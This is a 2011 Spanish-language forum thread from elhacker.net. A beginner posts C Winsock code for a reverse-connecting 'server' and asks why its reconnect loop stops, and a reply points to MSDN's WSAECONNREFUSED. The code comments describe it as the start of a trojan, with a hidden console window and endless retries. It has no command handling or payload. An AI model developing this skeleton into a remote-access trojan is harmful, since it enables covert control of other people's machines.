elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Peticion del Socket
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Peticion del Socket  (Leído 1,589 veces)
yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
Peticion del Socket
« en: 20 Julio 2011, 05:47 am »

Hola a todos, estoy iniciandome con los Sockets en C y he tomado un code del amigo EON, crea un socket (servidor, en conexion inversa) y envia o intenta conectarse con su cliente que esta hecho en Basic:

Servidor:
Código
  1. #include <winsock2.h>
  2. #include <windows.h>
  3. #include <stdio.h>
  4.  
  5. #pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
  6. void main(void)
  7. {
  8. //ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la
  9. //consola y poner el programa como proceso. Por ahora la dejamos asi.
  10.  
  11. WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
  12. SOCKET sock;
  13. struct hostent *host;
  14. struct sockaddr_in direc;
  15. int conex;
  16. char Buffer[1024];
  17. int len;
  18. //Inicializamos
  19. WSAStartup(MAKEWORD(2,2),&wsa);
  20. //Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para
  21. //hacer las pruevas
  22.  
  23. host=gethostbyname("192.168.1.4"); //localhost = 127.0.0.1 ;P
  24. //creamos el socket
  25. sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  26. if (sock==-1)
  27. {
  28. //Si se produce un error al crear el socket
  29. main(); //Llamamos de nuevo a la función principal para seguir intentandolo
  30. }
  31. //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
  32. //y decimos que el puerto al que deberá conectar
  33. direc.sin_family=AF_INET;
  34. direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el
  35. //usuario cuando hagamos el server edit
  36. direc.sin_addr = *((struct in_addr *)host->h_addr);
  37. memset(direc.sin_zero,0,8);
  38. //Intentamos establecer la conexión hasta que lo logremos
  39. conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
  40. while (conex==-1)
  41. { //Esto es lo que hará si no se puede conetar:
  42. Sleep(250); //Hacemos q el programa se detenga un poco, cuando se termine el
  43. //troyano conviene subir este intervalo
  44. //Por ahora lo dejamos asi para hacer mas comodas las pruevas
  45. conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos
  46. //establecer la conexión de nuevo hasta que lo logremos.
  47. printf("\nSe ha intentado conectar con el cliente...");
  48. }
  49.  
  50. //printf("\n\n Ok, ");
  51. len=send(sock,"aqui C++",8,0); //Como somos muy educados saludamos xDD el 4 despues
  52. //del hola indica el nº de
  53. //caracteres a enviar
  54.  
  55. while (len!=0){ //Mientras que permanezcamoos conectados
  56.  
  57. len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
  58. if (len>0) //Si seguimos conectados...
  59. {
  60. Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena
  61.  
  62. //Aki hay q poner el conjunto de if's para las acciones
  63. }
  64. }
  65.  
  66. main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando
  67. //conectarse
  68. }
  69.  

Muy bien, todo compila normalmente, ahora el cliente es un WINSOCK normal en Basic con su localport = 1234 con su boton 'Iniciar la Escucha'.

Al correr cliente y servidor y poner a la escucha el cliente, el servidor de C efectivamente lanza su peticion al cliente y éste lo detecta en su evento 'ConnectionRequest', PERO A PROPOSITO HAGO QUE NO LO ACEPTE, por lo que el servidor deberia seguir intentando conectarse con su cliente, lo que noto que pasa es que el servidor al enviar la peticion y notar que el cliente lo ha detectado, deja de enviar peticiones, ademas cuando cierro el cliente el servidor deberia volver a realizar infinitos intentos de conectarse con su cliente hasta que éste lo acepte con un Accept().

 ¿Que sucede?

Desde ya gracias por su tiempo y ayuda.


En línea

fary


Desconectado Desconectado

Mensajes: 1.064



Ver Perfil WWW
Re: Peticion del Socket
« Respuesta #1 en: 20 Julio 2011, 14:29 pm »

Mirate la msdn:

http://msdn.microsoft.com/en-us/library/ms737625%28v=vs.85%29.aspx

cuando denegas la petición devuelve WSAECONNREFUSED.

saludos.

   



En línea

Un byte a la izquierda.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
No-Ip Y socket
Programación Visual Basic
n3ts4mura1 0 1,261 Último mensaje 15 Agosto 2006, 20:20 pm
por n3ts4mura1
Raw socket
Programación Visual Basic
yeikos 3 2,456 Último mensaje 28 Agosto 2007, 15:53 pm
por elmaro
Petición a API XML
PHP
Salgaw 4 3,580 Último mensaje 30 Octubre 2009, 18:00 pm
por Salgaw
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines